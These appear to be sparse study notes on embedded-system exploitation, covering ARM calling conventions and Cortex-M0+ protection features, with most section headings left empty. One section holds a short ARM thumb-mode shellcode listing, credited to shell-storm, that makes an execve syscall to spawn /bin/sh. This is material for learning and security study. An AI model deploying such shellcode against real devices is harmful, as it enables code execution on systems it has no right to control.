Hardware security

Table of Contents

Exploitation for embedded systems

Typical embedded systems vulnerabilities:

ARM architecture

32-bit (“aarch32”)

64-bit (“aarch64”)

Application binary interface: Procedure Call Standard for the ARM Architecture (AAPCS)

AAPCS table

ARM Linux system calls:

ARMv6-M (Cortex-M0+)

Thumb-2, so classic 32-bit ARM not supported. Has a built-in interrupt controller. Optional privileged/unprivileged and MPU (memory protection unit) support, both present on STM32G0B1RET6 (the board we have).

Protected Memory System Architecture (PMSAv6):

PMSAv6 bits table

Nested Vector Interrupt Controller (NVIC)

xPSR: combined program status register:

xPSR diagram

Assembly:

Exploitation techniques

32-byte ARM usually has null bytes, but if you switch to thumb mode, instruction set compression makes null bytes unlikely:

add r3, pc, #1
bx r3

Example shellcode (from shell-storm):

add r3, pc, #1 // switch to thumb mode
bx r3

mov r0, pc // prepare arguments
adds r0, #8
subs r1, r1, r1 // r1 = 0
subs r2, r2, r2 // r2 = 0

movs r7, #11 // set syscall number
svc 1 // execute syscall

str r7, [r5, #32] // set up data: /bin/sh\0
ldr r1, [r5, #100]
strb r7, [r5, #12]
lsls r0, r5, #1

ROP on ARM:

Heap exploitation:

Interrupt oriented programming: